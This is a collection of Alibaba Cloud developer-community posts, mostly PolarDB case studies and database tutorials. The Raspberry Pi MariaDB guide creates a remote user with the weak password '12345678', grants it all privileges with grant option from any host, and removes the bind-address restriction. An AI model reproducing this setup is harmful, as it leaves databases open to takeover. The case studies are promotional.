    云计算具有可扩展、扩展性强、管理成低等优势,此前数云已经长期使用了阿里云的ECS、SLB、RDS、Reids、MongoDB等产品。随着核心业务数据的持续高速增长阿里云RDSMySQL面临着一定的挑战。部分实例存储数据量大,触发MySQL单实例存储瓶颈,传统数据库单个实例只能存3TB-6TB数据,单实例业务数据量大,维护成本高,代码配置复杂;数云有大促需求,在618/双十一等大促期间希望能快速弹升(分钟级)数据库实例的计算规格和IOPS能力;涉及商家数据一致性读取,希望读写数据库的读节点延迟小,有较大的读写比,希望能够快速增加读节点;高并发写诉求,对高并发状态下的写能力有较高要求。

    云数据库PolarDB基于分布式共享存储架构以及经过阿里云数据库团队数年的深入优化,具备高弹性存储平滑扩展高并发写能力强完全兼容MySQL等优势,其中高弹性和存储平滑扩展能力能解决困扰数云的存储瓶颈和弹性不足的问题,在与阿里云数据库团队深入沟通和谨慎测试后,数云技术团队评估云PolarDB可以很好地满足核心互动业务的数据库存储、访问、弹性等能力诉求,同时也能有效降低运维和研发团队的管理使用成本。

    PolarDB是一款关系型分布式数据库,采用工业界得到广泛验证的计算与存储分离架构,原生兼容MySQL,经历了双11大规模高并发高可用扩展性检验,又有基于中国市场的丰富实践,成为包括数云在内很多企业数据库上云的选择。
    67.png

    数云采用PolarDB分布式云原生数据库方案构建了数云核心产品互动赢家和数据赢家,解决了相关挑战:

    1、轻松应对大促期间业务流量高峰:在618/双十一等大促期间,PolarDB可以在20分钟内完成10TB级数据的集群升配,快速弹升CPU、内存和IOPS的能力,确保流量突然增加的快速弹性。同时快速弹升能力也大幅度降低了数云大促资源准备的成本,只需要在双十一前夕做数据库弹升即可。

    2、降低业务高速发展带来的研发管理成本:数云的产品以数据为核心,品牌客户的数据量较大,在数据库部署层面采用多租户部署模式,单个数据库实例存储的数据量比较大,一般能达到几TB,由于传统MySQL数据库的存储容量有限,存量客户数据量增长和新客户的接入都会带来研发的管理成本,同时上百个MySQL实例也带来了较大的管理成本。PolarDB采用共享存储架构,存储和计算分离,能够最大程度的提供单实例的存储能力,最大可达100TB,可以解决数云多租户数据存储带来的单实例过大无法存储的问题和研发管理成本,也降低了由于单实例存储量限制带来的实例多管理成本高的问题。

    3、支撑多个商户的高并发业务诉求:数据赢家和互动赢家在线服务的商户数较多,对高并发读写能力有较强要求。PolarDB通过引擎的优化和超强的IOPS能力提供高并发状态下的超强写能力,32个并发以上OLTP写能力能达到普通MySQL的2-3倍。

    4、较低的迁移、接入成本。PolarDB100%兼容MySQL5.6和MySQL8.0,完全兼容MySQL各种生态和中间件开源工具,同时阿里云提供基于DTS的MySQL生态数据库迁移方案,方便数云低成本将现有应用服务和业务数据迁移至PolarDB。

    尽管PolarDB的产品能力和阿里云数据库团队的服务得到数云技术团队的初步认可,但是没有经历大考的产品客户心里还是没底,PolarDB在数云正式投产后便面临双十一大考,在2019年PolarDB稳定支持了数云双十一业务,整体表现平稳,真正被数云技术团队彻底认可。

    小结:云原生、高弹性,PolarDB值得信赖

    从数云数据库架构升级过程中,我们可以看到在云时代的大背景下,企业选择数据库存储产品需要综合考虑性能、稳定性、成本等不同方面,都是企业客户考虑的重点。同时云原生数据库在高并发、高可用、高可靠以及可扩展性方面的优势也再次被证明。

    同时由于数云的业务场景有较强的大促属性,存在峰值流量远大于平时流量,对数据库产品的弹性能力有较高的诉求,PolarDB的弹性能力处于业界领先位置,在大促期间的实际效果也符合数云业务场景的诉求,也成为数云选择PolarDB的关键因素。

    伴随阿里云技术迭代升级应用而生的云原生数据库PolarDB,已经在云上为众多企业客户提供了稳定可靠的数据库服务。PolarDB的不断完善也需要企业客户的信任和数据库技术爱好者的支持,相信阿里云会持续给企业客户提供更完善、更强大的数据库产品。

    ]]>
    将Neo4j数据导入到GDB-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 本文使用具体示例介绍导入Neo4j数据到GDB流程。
    在进行操作前需要您已经准备好以下资源。

    1. Neo4j Server,保存有待导出数据,能正常提供读写服务。
    2. Cypher Shell,连接到Neo4j Server,控制台命令交互,导出数据到文件。
    3. 阿里云GDB,数据导入的目的端。
    4. 阿里云OSS,用于临时存放Neo4j导出的中间文件,提供给GDB导入使用。
    5. 中间文件格式转换工具 graphml2csv.py,转换graphML格式文件到GDB支持的CSV格式。
    6. 阿里云GDB导入API小工具 GdbLoader.py,也可以直接使用curl命令交互。

    1. 写入测试数据到Neo4j

    如果待导出的数据已经保存在Neo4j,可以跳过此步骤,本文演示可操作的完整流程。

    Cypher-Shell执行以下语句,写入测试数据(TinkerPop modern)。

    # 写入点数据
    create (:person {id:"1", name:"marko", age:29});
    create (:person {id:"2", name:"vadas", age:27});
    create (:person {id:"3", name:"lop", lang:"java"});
    create (:person {id:"4", name:"josh", age:32});
    create (:person {id:"5", name:"ripple", lang:"java"});
    create (:person {id:"6", name:"peter", age:35});
    
    # 写入边数据
    start n=node(*), m=node(*) where n.id="6" and m.id="3" create (n)-[:created {id:"12", weight:0.2}]->(m);
    start n=node(*), m=node(*) where n.id="4" and m.id="3" create (n)-[:created {id:"11", weight:0.4}]->(m);
    start n=node(*), m=node(*) where n.id="4" and m.id="5" create (n)-[:created {id:"10", weight:1.0}]->(m);
    start n=node(*), m=node(*) where n.id="1" and m.id="3" create (n)-[:created {id:"9", weight:0.4}]->(m);
    start n=node(*), m=node(*) where n.id="1" and m.id="4" create (n)-[:knowns {id:"8", weight:1.0}]->(m);
    start n=node(*), m=node(*) where n.id="1" and m.id="2" create (n)-[:knowns {id:"7", weight:0.5}]->(m);

    2. 导出Neo4j数据到文件

    以下使用Neo4j apoc功能导出数据到文件,文件格式是graphml。注意导出命令的参数。

    
    neo4j> call apoc.export.graphml.all("result.ml",{readlabels:true, useTypes:true});
    +-----------------------------------------------------------------------------------------------------------------------------------------+
    | file        | source                        | format    | nodes | relationships | properties | time | rows | batchSize | batches | done |
    +-----------------------------------------------------------------------------------------------------------------------------------------+
    | "result.ml" | "database: nodes(6), rels(6)" | "graphml" | 6     | 6             | 30         | 54   | 0    | -1        | 0       | TRUE |
    +-----------------------------------------------------------------------------------------------------------------------------------------+
    
    1 row available after 261 ms, consumed after another 12 ms

    由于我们示例的测试数据比较小,以下给出导出文件的完整内容,方便核对。

    
    <?xml version="1.0" encoding="UTF-8"?>
    <graphml xmlns="http://graphml.graphdrawing.org/xmlns" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://graphml.graphdrawing.org/xmlns http://graphml.graphdrawing.org/xmlns/1.0/graphml.xsd">
    <key id="name" for="node" attr.name="name" attr.type="string"/>
    <key id="id" for="node" attr.name="id" attr.type="string"/>
    <key id="lang" for="node" attr.name="lang" attr.type="string"/>
    <key id="age" for="node" attr.name="age" attr.type="long"/>
    <key id="weight" for="edge" attr.name="weight" attr.type="double"/>
    <key id="id" for="edge" attr.name="id" attr.type="string"/>
    <graph id="G" edgedefault="directed">
    <node id="n0" labels=":person"><data key="labels">:person</data><data key="id">1</data><data key="name">marko</data><data key="age">29</data></node>
    <node id="n1" labels=":person"><data key="labels">:person</data><data key="id">4</data><data key="name">josh</data><data key="age">32</data></node>
    <node id="n2" labels=":person"><data key="labels">:person</data><data key="id">5</data><data key="name">ripple</data><data key="lang">java</data></node>
    <node id="n3" labels=":person"><data key="labels">:person</data><data key="id">6</data><data key="name">peter</data><data key="age">35</data></node>
    <node id="n20" labels=":person"><data key="labels">:person</data><data key="id">2</data><data key="name">vadas</data><data key="age">27</data></node>
    <node id="n21" labels=":person"><data key="labels">:person</data><data key="id">3</data><data key="name">lop</data><data key="lang">java</data></node>
    <edge id="e0" source="n3" target="n21" label="created"><data key="label">created</data><data key="id">12</data><data key="weight">0.2</data></edge>
    <edge id="e20" source="n1" target="n21" label="created"><data key="label">created</data><data key="id">11</data><data key="weight">0.4</data></edge>
    <edge id="e21" source="n1" target="n2" label="created"><data key="label">created</data><data key="id">10</data><data key="weight">1</data></edge>
    <edge id="e22" source="n0" target="n21" label="created"><data key="label">created</data><data key="id">9</data><data key="weight">0.4</data></edge>
    <edge id="e23" source="n0" target="n1" label="knowns"><data key="label">knowns</data><data key="id">8</data><data key="weight">1</data></edge>
    <edge id="e40" source="n0" target="n20" label="knowns"><data key="label">knowns</data><data key="id">7</data><data key="weight">0.5</data></edge>
    </graph>
    </graphml>

    3. 转换导出文件格式

    阿里云GDB目前不支持导入graphml格式文件数据,可以使用下面工具转换graphml格式到GDB支持的Gremlin(CSV)格式。

    python graphml2csv.py -i result.ml
    infile = result.ml
    Processing result.ml
    Wrote 6 nodes and 24 attributes to result-nodes.csv.
    Wrote 6 edges and 18 attributes to result-edges.csv.

    转换成功后有以下点和边数据文件,可以看到点边都有一个id的属性字段。

    # CSV点数据文件
     $ cat result-nodes.csv
    ~id,~label,name:string,id:string,lang:string,age:long
    0,person,marko,1,,29
    1,person,josh,4,,32
    2,person,ripple,5,java,
    3,person,peter,6,,35
    20,person,vadas,2,,27
    21,person,lop,3,java,
    
    # CSV边数据文件
     $ cat result-edges.csv
    ~id,~from,~to,~label,weight:double,id:string
    0,3,21,created,0.2,12
    20,1,21,created,0.4,11
    21,1,2,created,1,10
    22,0,21,created,0.4,9
    23,0,1,knowns,1,8
    40,0,20,knowns,0.5,7

    转换常见问题

    1. GDB不支持多label。如果数据中包含多label的点,转换脚本去掉前缀冒号(:),剩下字段当单label值输出。例如两个标签workerdoctor的点,转换后标签是worker:doctor
    2. Neo4j默认隐藏点和边的ID字段,内部使用数值表示。导出graphml格式数据中包含有内部ID字段。由于格式规范要求,点ID会添加字符'n',边ID会添加字符'e',导出脚本转换时去掉了前缀。
    3. graphml格式会在开头定义数据schema,但可能不完整。转换时出现KeyError(xxx)的错误可能就是数据内容不在schema定义的范围内。可参照在文件开头添加该字段的定义。注意点和边是分开定义的。

    4. 导入数据文件到GDB

    上述转换后得到点和边两个csv数据文件,我们使用GDB导入工具发送导入命令完成数据导入。当然您也可以参照阿里云GDB导入文档使用CURL操作导入。

    上传转换后的点、边CSV文件到OSS bucket。注意检查bucket的地域和GDB实例是否相同,如果不一致,可以申请新的相同地域bucket。以下使用OSS命令行工具ossutil上传数据到OSS,请替换您的bucket名称。

    
    #点文件
    ./ossutil cp result-nodes.csv oss://${mybucket}/neo4j-data/result-nodes.csv
    
    #边文件
    ./ossutil cp result-edges.csv oss://${mybucket}/neo4j-data/result-edges.csv

    使用导入工具依次添加导入点任务和导入边任务,注意等导入点完成后再添加导入边任务,可以使用添加任务时返回的任务ID查询任务详情,检查是否完成。

    以下命令需要使用到您的GDB实例参数,可以参照导入文档查找参数值

    
    # 添加导入点任务
    python GdbLoader.py --host ${mygdb-endpoint}:8182 --username ${username} --password ${password} --todo add_task --source oss://{mybucket}/neo4j-data/result-nodes.csv --arn acs:ram::${my-uid}:role/${role-name}
    
    # 添加导入边任务
    python GdbLoader.py --host ${mygdb-endpoint}:8182 --username ${username} --password ${password} --todo add_task --source oss://${mybucket}/neo4j-data/result-edges.csv --arn acs:ram::${my-uid}:role/${role-name}
    
    # 查询任务详情
    python GdbLoader.py --host ${mygdb-endpoint}:8182 --username ${username} --password ${password} --todo get_task --loaderId 552617AF-4F1E-4CD8-9533-A2EC154688DC

    5. 验证导入数据

    导入完成后,我们就能使用各种SDK接入GDB访问数据,简单起见,下面使用CURL读取一个边数据验证。其他语言的接入验证可以参照GDB各环境的接入文档。

    curl -u ${username}:${password} -X POST -d '{"gremlin":"g.E("21").valueMap(true)"}' ${mygdb-endpoint}:8182 | python -m json.tool
    
    ]]>
    RaspberryPi(树莓派)安装 MariaDB / MySQL 数据库-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 74.jpg
    镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

    一、更新系统

    通过运行如下命令来对你需要安装的系统进行更新,根据网络的情况可能需要的时间也不相同。

    sudo apt-get update

    更新后系统的输出内容为:

    root@raspberrypi:~# sudo apt-get update
    Hit:1 http://archive.raspberrypi.org/debian buster InRelease
    Get:2 http://raspbian.raspberrypi.org/raspbian buster InRelease [15.0 kB]
    Get:3 http://raspbian.raspberrypi.org/raspbian buster/main armhf Packages [13.0 MB]
    Fetched 13.0 MB in 19s (694 kB/s)
    Reading package lists... Done
    root@raspberrypi:~#

    二、安装数据库

    通过下面的情况就可以自动执行安装了:

    sudo apt-get install mariadb-server

    三、设置安全

    当服务器安装完成后,运行下面的命令,来为你的数据库设置安全。

    sudo mysql_secure_installation

    主要这个用途是设置你 root 的密码,root 的远程访问权限,是否允许匿名访问,是否允许远程访问等。
    如果你只是测试在本地使用这个数据库,你可以不用设置这个。
    但是我们还是建议你设置。

    四、单独设置一个可以远程访问的用户

    你可以单独设置一个用户能具有足够 root 的权限执行所有操作,可以进行远程访问。
    你也可以使用 root 用户进行配置,但是我们不建议你使用 root 用户。
    在你安装的服务器上,使用 mysql 登录到服务器上。
    然后执行下面的命令:

    CREATE USER 'honeymoose'@'%' IDENTIFIED BY '12345678';
    GRANT USAGE ON *.* TO 'honeymoose'@'%';
    GRANT ALL PRIVILEGES ON *.* TO 'honeymoose'@'%' IDENTIFIED BY '12345678' WITH GRANT OPTION; 
    FLUSH PRIVILEGES;

    注意:上面的命令是在你使用 root 登录到服务器上后进行数据库的授权的。

    20.jpg
    执行上面 SQL 的意图是,创建一个用户,为用户赋权。

    五、修改配置允许远程访问

    如果你现在进行远程连接  MariaDB / MySQL 的时候,你会收到连接 10061 的错误。
    按照我们前面的提示,这是因为绑定的问题。
    旧版本的MySQL修改/etc/mysql/my.cnf文件,修改内容相同。
    如果你的服务上的版本没有这个文件的话,新版本的服务器,你需要修改:/etc/mysql/mariadb.conf.d/50-server.cnf 这个文件。
    注释掉 'bind-address
    21.jpg
    必要的话,可以尝试重启服务器。
    重启服务器的命令是:

    root@raspberrypi:~# service mariadb restart

    查看数据库服务器进程是是否运行的命令是:

    service mariadb status

    如果服务器输出下面的信息,表示服务器已经运行了,你可以尝试使用 Client 远程进行连接了。

    root@raspberrypi:~# service mariadb status
    ● mariadb.service - MariaDB 10.3.22 database server
       Loaded: loaded (/lib/systemd/system/mariadb.service; enabled; vendor preset: enabled)
       Active: active (running) since Sun 2020-04-05 10:57:14 EDT; 11s ago
         Docs: man:mysqld(8)
               https://mariadb.com/kb/en/library/systemd/
      Process: 1691 ExecStartPre=/usr/bin/install -m 755 -o mysql -g root -d /var/run/mysqld (code=exited, status=0/SUCCESS)
      Process: 1692 ExecStartPre=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
      Process: 1694 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ] && VAR= ||   VAR=`/usr/bin/galera_recovery`; [ $? -eq 0 ]   && systemctl set-environment _WSREP_START_POSITION=$VAR || exit 1 (code=exited, status=0/SUCCESS
      Process: 1771 ExecStartPost=/bin/sh -c systemctl unset-environment _WSREP_START_POSITION (code=exited, status=0/SUCCESS)
      Process: 1773 ExecStartPost=/etc/mysql/debian-start (code=exited, status=0/SUCCESS)
     Main PID: 1740 (mysqld)
       Status: "Taking your SQL requests now..."
        Tasks: 31 (limit: 4035)
       Memory: 47.7M
       CGroup: /system.slice/mariadb.service
               └─1740 /usr/sbin/mysqld
    Apr 05 10:57:13 raspberrypi systemd[1]: Starting MariaDB 10.3.22 database server...
    Apr 05 10:57:14 raspberrypi mysqld[1740]: 2020-04-05 10:57:14 0 [Note] /usr/sbin/mysqld (mysqld 10.3.22-MariaDB-0+deb10u1) starting as process 1740 ...
    Apr 05 10:57:14 raspberrypi systemd[1]: Started MariaDB 10.3.22 database server.
    Apr 05 10:57:14 raspberrypi /etc/mysql/debian-start[1775]: Upgrading MySQL tables if necessary.
    Apr 05 10:57:14 raspberrypi /etc/mysql/debian-start[1778]: /usr/bin/mysql_upgrade: the '--basedir' option is always ignored
    Apr 05 10:57:14 raspberrypi /etc/mysql/debian-start[1778]: Looking for 'mysql' as: /usr/bin/mysql
    Apr 05 10:57:14 raspberrypi /etc/mysql/debian-start[1778]: Looking for 'mysqlcheck' as: /usr/bin/mysqlcheck
    Apr 05 10:57:14 raspberrypi /etc/mysql/debian-start[1778]: This installation of MySQL is already upgraded to 10.3.22-MariaDB, use --force if you still need to run mysql_upgrade
    Apr 05 10:57:14 raspberrypi /etc/mysql/debian-start[1786]: Checking for insecure root accounts.
    Apr 05 10:57:14 raspberrypi /etc/mysql/debian-start[1790]: Triggering myisam-recover for all MyISAM tables and aria-recover for all Aria tables

    另外,你可以查看 MariaDB 运行的端口:

    MariaDB [(none)]> SHOW GLOBAL VARIABLES LIKE 'port';
    +---------------+-------+
    | Variable_name | Value |
    +---------------+-------+
    | port          | 3306  |
    +---------------+-------+
    1 row in set (0.004 sec)
    MariaDB [(none)]>

    参考链接:https://www.cwiki.us/questions/57938848

    阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

    ]]>
    阿里云RPA这么火,我们要去学习使用吗?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 学习.png
    首先,了解什么是RPA?
    今天我们说的RPA并不是说唱的那个rap,而是一种计算机软件。RPA(Robotic Process Automation)即机器人流程自动化,它是一种新型的技术理念,它允许通过软件机器人基于一定规则的交互动作来模拟和执行既定的业务流程,从而帮助人类完成一些大量重复、有规律的工作流程。
    那么, RPA是干嘛用的?
    RPA机器人如同人类一样能够操作各种IT应用程序,如浏览器、Office软件、Java/.net等语言编写的程序、ERP软件(SAP/Oracle)等等。它基于设定的规则与其他各类系统进行交互,非常擅长执行那些枯燥的、繁琐的重复性任务。它比人类做的更好,一个RPA软件机器人不需要睡觉(7*24小时执行),不会犯错误(宕机、断电等另当别论),不拿工资(成本比普通员工少很多),这样的模范型”员工“一经出现便成为全球各大企业争抢的对象。
    使用RPA可以带给我什么?
    对个人:
    学会了RPA技术,你就可以通过一些流程设计让他帮你去完成一些大量重复、枯燥的工作,平常你需要花费一上午、一下午才能完成的工作,RPA十分钟就可以解决,这样省下来的时间你就可以去发呆、思考、追剧等等你感兴趣的事情。切身处地的讲,有了它你加班的机率将会越来越小,这样听了你开不开心?
    对企业:
    在企业中,RPA 就是一个机器人一样的存在,它可以把员工从那些大量、重复、有规律、低附加值的工作中解放出来,致力于更加有价值、更有创造力的工作中去,从而帮助企业优化人力资源,节约人力成本,完成数字化转型。
    最后, 那么我为什么要学RPA呢?
    近年来,人工智能、物联网的快速发展,让我们的生活变得简单且快速。我们订机票、火车票、打车、订酒店、购物、点外卖等各类生活服务,几乎都可以通过数字智能手段来在线完成,数字化时代让正在让我们的生活变得更加便捷。数字化的快速发展,市场对数字人才的需求也会越来越大,如何更好的融入新新职场,提升自身竞争力,就需要我们不断的去接触学信这些新兴技术。
    另外,我们在实际生活工作中,总会有许许多多的重复烦躁的工作,比如财务工作者会有很多处理数据的操作;HR重复辗转各大招聘网站去下载简历;业务工作者处理大量的合同等等。这些工作低附加值又必须要做,还浪费我们大量的时间,直到前段时间接触了RPA软件,我平时一天的工作量它十分钟就给我解决了,让我顿生去好好学习它的想法。
    其实,在了解了RPA以后,我发现早在很久以前我们就已经接触到了这个软件——按键精灵。按键精灵其实可以理解为最最基础的RPA版本,我们通过它模仿人类点击鼠标的操作来帮助我们玩游戏打怪升级。
    因此,总结下来我为什么要学习RPA呢,因为RPA是社会发展的趋势,他能解放我的双手,释放我的时间,更能提升自我竞争力!

    ]]>
    倒计时6天 | 运维界的绝世秘笈被我们发现了!听阿里小哥用rap为你一一道来... -阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

    “绝世秘籍”抢先体验!
    点我立即预约直播

    运维汪:数据库四大单身神兽之一,全年无休,24小时待命,喜数据,恶bug,专注背锅数十载。
    传说世间存有少量脱单&脱发秘笈(运维汪专属),但却屡遭一位名曰“霸格”的人士无情拆散。
    终于,在一个月黑风高的晚上,小编寻得一篇绝世秘笈,在“防脱发、助脱单”的道路上已纵横两载有余,截止今日共消灭近4200万“霸格”,还无数家庭幸福生活。
    绝世秘笈就藏在这下方链接中,听阿里技术小哥用rap给你一一道来...

    戳这里观看视频

    8.jpg

    从“人肉处理”到“自动驾驶
    从“被动救火”到“提前防治
    从“监控告警”到“自动止损
    从“局部优化”到“全局优化
    从“基于规则”到“基于AI

    直播预告

    “绝世秘笈”数据库自治服务DAS
    将于6日后横空出世
    4月22日 15:00 — 16:30
    期待各位少侠与我们一同见证
    扫描下方二维码或点击下方文字
    立即预约观看DAS发布会直播!
    7.jpg

    ]]>
    云原生数据库POLARDB的应用探索-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 【MVP时间】线上峰会,一键收藏

    《云原生数据库POLARDB的应用探索》精彩直播

    以下是精彩视频内容整理,主要内容为三个方面:
    一、云原生数据库POLARDB;
    二、POLARDB应用场景;
    三、未来期待。

    一、云原生数据库POLARDB

    (一)业务发展中遇到的数据库问题

    我们以典型的主备架构为例,左边这个图是一个双可用区(同城异地容灾)的高可用架构。这种典型的主备架构已经可以满足我们大多数的业务场景的需求。但是我们在实际的使用过程当中,也遇到了一些问题。

    (1)升级变配慢

    变配有可能发生数据迁移,可能需要数小时,甚至更久。

    (2)新增只读节点慢

    根据备份/日志大小,有可能需要数小时,甚至更久。

    (3)存储空间有上限

    存储空间跟计算规格关联,升级存储要同时升级计算规格,而且存在上限。

    (4)主备延时

    主库大表DDL后会导致备库延时,延时期间无法查询到最新数据。

    image.png

    (二)POLARDB从集中式到共享存储

    POLARDB是一个从集中式到共享存储的架构的演变,也是一个原生的计算存储分离的架构。

    最底层是一个分布式的共享存储,上面是计算节点。
    优势:第一,存储计算分离,快速的新增只读节点,实例升降级。第二,存储分布式,最大100TB存储空间,分钟级备份。第三,基于redo log物理复制,只读节点延时更小。第四,智能代理转发,透明读写分离,负载均衡。
    劣势:第一,DB节点扩展能力受限。第二,存储扩展能力及IO性能依赖高端共享存储。
    image.png

    (三)产品对比

    将RDS与POLARDB从不同的维度做一个比较,如下图所示。
    image.png

    (四)基准测试对比

    将POLARDB与Oracle作基准测试对比,基于单表5千万以上的存量数据做查询、写入和更新操作,比较不同规格的性能指标。测试结论如下图所示。

    image.png

    将POLARDB与RDS作基准测试对比,基于单表5千万以上的存量数据做查询、写入和更新操作,比较不同数据库间的性能指标。测试结论为,相同场景下POLARDB MySQL具有更大的吞吐量,但RDS的RT更快。
    image.png

    (五)POLARDB并行查询特性

    POLARDB有并行查询特性,在存储层将数据分片到不同的线程上,多个线程并行计算,将结果流水线汇总到总线程,最后总线程做些简单归并返回给用户。
    image.png

    如下图所示,通过调整max_parallel_degree参数,使用8个并发线程执行后,性能提升了3倍。
    image.png

    二、POLARDB应用场景

    (一)高并发读写

    第一个场景是一个高并发读写的场景,存在大并发的这种复杂的读写和更新。而且业务上对响应的时间是比较敏感的,要求整个应用的响应时间不要超过一秒。如果超过一秒的话,有可能就会造成业务上的超时,影响交易。
    image.png

    有对相同规格的RDS、POLARDB主地址、POLARDB读写分离地址相同场景下测试,经过参数优化后的POLARDB主地址直连模式有更优的表现。优化后CPU的使用率相比优化前有所提高,使用率也相对稳定,不存在波动。
    image.png

    (二)新主从关系

    新的主从关系,通过DTS数据同步服务把数据同步到POLARDB,POLARDB维护必须的索引、采用面向OLAP的引擎。利用POLARDB大存储、并行查询的能力。架构更灵活,POLARDB开启日志,所有数据访问需求通过这里进行汇聚与分发。
    image.png

    (三)拆分表聚合

    分库分表的不好之处是,所有SQL都要带上拆分键,不支持全局二级索引,否则会全表扫描。当表特别大的时候,DDL变更会导致只读延时很久。如果把拆分的表聚合到一张表,利用POLARDB的并行计算能力,满足实时在线分析。对DDL进行控制,不耦合主库,则不存在主从延时。
    image.png

    三、未来期待

    (一)存储成本

    每个数据库都有自身的优势,我们可以结合自己的业务场景,还有一些成本的考虑来做好一些技术的选型。

    POLARDB的存储成本相对来说是还是比较贵一点。如下图所示,这里包含计算节点的和存储节点的费用。总的来说,POLARDB计算资源性价比更高,存储成本相对高一些。所以说我们要结合业务场景,数据库本身的特性,还有成本来综合的考虑,做好技术选型。
    image.png

    (二)云原生+分布式+HTAP

    最后提一下云原生,分布式和HTAP,这三个都是非常流行的技术。就像阿里数据库掌门人李飞飞教授所说的,原生数据库就像一辆跑车,而传统的数据库就像马车,会被淘汰掉。

    云原生数据库,兼容开源的生态。我们在实际的使用过程当中有更多的诉求,希望它能够集HTAP事务处理和分析一体化,打造智能的企业级数据库。

    image.png

    关键词:POLARDB,云原生,数据库,分布式,并行查询

    【MVP时间】线上峰会,一键收藏

    《云原生数据库POLARDB的应用探索》精彩直播

    ]]>
    新一轮支付革命,利楚扫呗的数据库优化之路-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 中国移动支付市场崛起过程中,第三方、第四方等非银行支付机构在2017年至2019年之间,把移动支付交易量从300多亿笔拉升至近1800亿笔,充分彰显以扫码支付为代表的移动支付革命引领一时风潮。

    利楚扫呗作为华中地区领先的金融收单企业也是其中一员,在业务爆炸增长的同时也带来了IT方面的挑战,为了提升用户的体验,利楚扫呗开启了全方位的数据库架构优化之路。
    9.jpg

    新一轮支付革命开启

    武汉利楚商务服务有限公司(以下简称“利楚扫呗”)成立于2011年,是国内从事聚合支付技术研发和应用的科技企业之一,其2016年推出了第四方支付品牌“扫呗”,提供一站式支付解决方案。

    从2016年至今,聚合支付服务商心中一直存在两个难题,一是聚合支付产品比较单薄,仅仅是多个支付通道的聚合,服务商户的能力较弱;二是缺乏深耕场景的能力,导致行业门槛低,服务能力得不到沉淀。

    伴随着支付宝微信大举布局刷脸支付,利楚扫呗借助这些刷脸设备,结合自身连接商户的支付能力以及聚焦下沉市场的优势,凭借着革命性的全系列产品体系、创新型的增值服务体系以及一站式聚合支付SaaS云服务平台,重新定义支付,在聚合支付领域率先实现了四位一体,即支付方式、支付场景、支付资金到账与管理、支付增值业务的融合。

    截至目前,利楚扫呗在16个城市设有直营运营中心,产品和服覆盖全国400多个城市,月处理交易笔数近3.5亿笔,月受理交易金额近180亿元,服务全国近70万家商户。

    业务的发展离不开强大的IT支撑,据悉,利楚扫呗为了不断扩展金融增值服务等业务空间,为商户提供支付收款、融资理财、营销管理等一站式解决方案,全面助力商户数字化经营转型,需要丰富的数据库产品能力矩阵。在服务全国近70万商家时,日处理交易笔数达到1200万,需要提供高并发,低延迟、高稳定的云服务。
    利楚扫呗原先采用单一的MySQL架构体系,单表数据量达到亿级别,单实例存储量已经达到T级别,数据库已经成为明显瓶颈。

    云计算具有可扩展、高并发的性能,此前利楚扫呗部署在阿里云,伴随着业务高速发展,利楚扫呗充分利用了阿里云丰富的产品矩阵优化自身的技术架构,其中承载核心业务的数据的数据库更是架构优化升级的重中之重。

    从单一MySQL到全家桶数据库解决方案

    遇到瓶颈后利楚扫呗第一时间与阿里云的架构师团队进行了充分的沟通,并且阿里云提供了非常专业的数据库专家服务,经过双方多轮的讨论与评估,最终形成了利用Redis缓存热点配置,利用读写分离进行读流量负载均衡,利用100%兼容MySQL的云原生数据库PolarDB存储计算分离归档存储超大数据,利用云原生数据库ADB进行即席大数据查询,做到数据实时分析。

    可以看到在这个方案中引入了各种专业类型的数据库,如何使得源头数据库内的数据在不同的数据库内实时地流转成了非常关键的链路。DTS它是一种集数据迁移、数据订阅及数据实时同步于一体的数据传输服务,支持关系型数据库、NoSQL、大数据(OLAP)等数据源间的数据传输。致力于解决毫秒级异步数据传输难题。 它底层的数据流基础设施为阿里双11异地多活基础架构, 为数千下游应用提供实时数据流,已在线上稳定运行6年之久。

    10.jpg

    不过数据库作为应用软件中复杂度最高的技术之一,尤其涉及到数据链路方面,稍有差池后果很严重。利楚扫呗数据库架构优化前双方团队进行了方案选型以及风险评估,唯一担心的是迁移后的性能和数据延迟问题。由于在迁移前进行了充分的压测以及测试验证,正式架构优化上线相对顺利。最终利楚扫呗采用Redis,DRDS,PolarDB,ADB的综合数据库方案构建了全部业务系统,解决了相关挑战,具体来看:

    1.优良的支付体验:依托Redis缓存,DRDS水平/垂直拆分,支持并行计算,解决高并发、存储容量、在线计算的扩展性难题,系统具备100TB数据存储的能力、10万TPS、百万QPS的支撑能力,可以支撑业务扩展至当前业务量的5-10倍,解决扫呗业务在快速增长过程中带来的对数据库存储量,并发量带来的挑战,确保能在客户业务快速增长的情况下,为每一个终端用户提供平滑的支付体验。

    2.让数据流动起来:借助于DTS的实时同步能力,让数据流动起来,借助PolarDB,ADB的大数据处理能力,决策报表从分钟级别降低至秒级,大部分报表可以在10秒出来,部分特别复杂的报表需要1分钟左右。使业务行为和业务决策能平滑对接,业务负责人可以通过报表快速进行业务决策,使数据通过计算创造价值。

    3 .7 24 高可用服务:以业务 7 24 小时运行标准设计,提供弹性升降配、在线扩容、SQL 审计分析、只读实例等能力,服务扫呗金融业务的高要求,确保服务的连续性以及金融级的安全和稳定性保障。

    小结:用专业数据库解决专业问题

    作为技术中心最基础最底层的数据库,研发难度极大,这两年国产数据正逐步展露头角,就金融行业而言,一些共性的低延迟高并发,复杂业务实时报表,超大规模历史数据,阿里云丰富的数据库产品线有其独特的优势。

    而从利楚扫呗的数据库架构优化升级中可以看到,企业云端数据库选型考虑的是综合因素,性能、成本、服务等都会影响最终结果,相信每个企业都有自己的考量,选择专业的数据库解决专业的问题。

    ]]>
    揭秘MySQL生态重要功能,X-Engine引擎核心能力——OnlineDDL-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 概述

    X-Engine是阿里自研的数据库存储引擎,以插件的方式接入到MySQL生态,支持行锁,事务,MVCC等OLTP场景的核心功能。

